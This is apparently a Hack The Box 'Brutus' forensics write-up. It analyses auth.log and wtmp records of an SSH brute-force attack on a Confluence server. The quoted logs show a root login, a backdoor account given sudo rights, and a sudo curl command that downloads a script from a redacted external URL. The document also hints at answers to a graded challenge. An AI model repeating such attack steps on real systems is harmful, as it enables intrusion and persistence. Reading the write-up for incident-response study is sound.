# PLATFORM          HTB
# CTF NAME          Brutus
# DIFFICULTY        Very Easy
# CTF LINK          https://app.hackthebox.com/sherlocks/Brutus/play

SCENARIO

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

---

Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

• When SSH attemps are failing, an rhost= field can be seen in the logs.
• In this regard, here are the logs we find

cat auth.log | grep rhost=

...
Mar  6 06:31:37 ip-172-31-35-28 sshd[2399]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.X.68 user=root
Mar  6 06:31:37 ip-172-31-35-28 sshd[2407]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.X.68  user=root
Mar  6 06:31:37 ip-172-31-35-28 sshd[2409]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.X.68  user=root
Mar  6 06:31:40 ip-172-31-35-28 sshd[2423]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.X.68  user=backup
Mar  6 06:31:40 ip-172-31-35-28 sshd[2424]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.X.68  user=backup
...

• We see multiple attemps for different users, but the source (remote) IP it’s the same.

The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

cat auth.log | grep -n2 "opened for user"

• Knowing that the brute force was successful, we can look directly at sessions opened.

322-Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.X.68 port 53184 ssh2
323:Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user [REDACTED](uid=0) by (uid=0)
324-Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user [REDACTED].

Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

• For some reason, the auth.log file logged the event at 06:32:44, but in wtmp file it is logged at 06:32:45 and this seems to be the right answer.

utmpdump wtmp

[7] [02549] [ts/1] [root    ] [pts/1       ] [65.2.X.68         ] [65.2.X.68    ] [2024-[REDACTED]-06T06:32:45,387923+00:00]

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?

• The same command from Q2 can be used, as we are also grepping 2 rows that are ‘around’ the answer.

cat auth.log | grep -n2 "opened for user"

...
324-Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session [REDACTED] of user r[]t.

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

• By checking the logs, we find the following information

Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=c{redacted}e, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=c{redacted}e
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=c{redacted}e, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=c{redacted}e, UID=1002, GID=1002, home=/home/c{redacted}e, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for c{redacted}e
Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'c{redacted}e' information
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'c{redacted}e' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'c{redacted}e' to shadow group 'sudo'
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for c{redacted}e from 65.2.X.68 port 43260 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user c{redacted}e(uid=1002) by (uid=0)
Mar  6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user c{redacted}e.

What is the MITRE ATT&CK sub-technique ID used for persistence?

• https://attack.mitre.org/

• Check under techniques used for Persistence, then see what sub technique is matching our scenario.

T1136.001

How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

• Based on Q3, we know when session was opened. Let’s see when it was closed

355-Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.X.68 port 53184:11: disconnected by user
356-Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.X.68 port 53184

• Do the math, how many seconds? (Hint: between 275 and 300).

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

375-Mar  6 06:39:38 ip-172-31-35-28 sudo: c{redacted}e : TTY=pts/1 ; PWD=/home/c{redacted}e ; USER=root ; COMMAND=/usr/bin/curl https://raw.{REDACTED}.sh